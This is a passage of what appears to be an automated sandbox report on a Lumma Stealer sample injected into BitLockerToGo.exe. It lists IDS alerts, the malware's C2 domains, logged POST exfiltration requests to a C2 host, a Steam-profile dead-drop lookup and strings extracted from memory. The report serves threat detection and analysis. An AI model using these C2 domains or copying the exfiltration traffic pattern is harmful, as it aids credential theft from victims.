Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00430E70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 07E776F1h	2_2_0042EE18
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-2AF4E5B5h]	2_2_00423E90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+08h]	2_2_00441EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 07E776F1h	2_2_0042EF36
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ecx	2_2_00420FE9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ebp	2_2_00446F80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056762 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sidercotay .sbs) : 192.168.2.4:62213 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056764 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snailyeductyi .sbs) : 192.168.2.4:49626 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056760 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (monstourtu .sbs) : 192.168.2.4:59066 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056766 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrigglesight .sbs) : 192.168.2.4:57319 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056754 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ferrycheatyk .sbs) : 192.168.2.4:60925 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056752 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deepymouthi .sbs) : 192.168.2.4:63735 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056756 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (heroicmint .sbs) : 192.168.2.4:52412 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056750 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (captaitwik .sbs) : 192.168.2.4:58904 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49743 -> 104.21.32.196:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49736 -> 104.21.32.196:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 104.21.32.196:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49734 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49738 -> 104.21.32.196:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 104.21.32.196:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: heroicmint.sbs
Source: Malware configuration extractor	URLs: wrigglesight.sbs
Source: Malware configuration extractor	URLs: ferrycheatyk.sbs
Source: Malware configuration extractor	URLs: snailyeductyi.sbs
Source: Malware configuration extractor	URLs: captaitwik.sbs
Source: Malware configuration extractor	URLs: monstourtu.sbs
Source: Malware configuration extractor	URLs: sidercotay.sbs
Source: Malware configuration extractor	URLs: deepymouthi.sbs

Source: Joe Sandbox View

IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 75Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18159Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8780Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20433Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3802Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3818Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1249Host: villagedguy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1117Host: villagedguy.cyou

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: deepymouthi.sbs
Source: global traffic	DNS traffic detected: DNS query: monstourtu.sbs
Source: global traffic	DNS traffic detected: DNS query: heroicmint.sbs
Source: global traffic	DNS traffic detected: DNS query: sidercotay.sbs
Source: global traffic	DNS traffic detected: DNS query: captaitwik.sbs
Source: global traffic	DNS traffic detected: DNS query: wrigglesight.sbs
Source: global traffic	DNS traffic detected: DNS query: ferrycheatyk.sbs
Source: global traffic	DNS traffic detected: DNS query: snailyeductyi.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: villagedguy.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: villagedguy.cyou

Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://ocsp.digicert.com0A
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://ocsp.digicert.com0C
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://ocsp.digicert.com0N
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://ocsp.digicert.com0X
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Qt5GuiVBox.dll	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/
Source: Qt5GuiVBox.dll	String found in binary or memory: http://www.color.org)
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: http://www.digicert.com/CPS0
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Imperial_Delay.exe	String found in binary or memory: https://api.zitadel.ch/assets/v1/avatar-32432jkh4kj32
Source: BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/communit
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=xYs7
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=I6RUPT-G-voT&amp
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
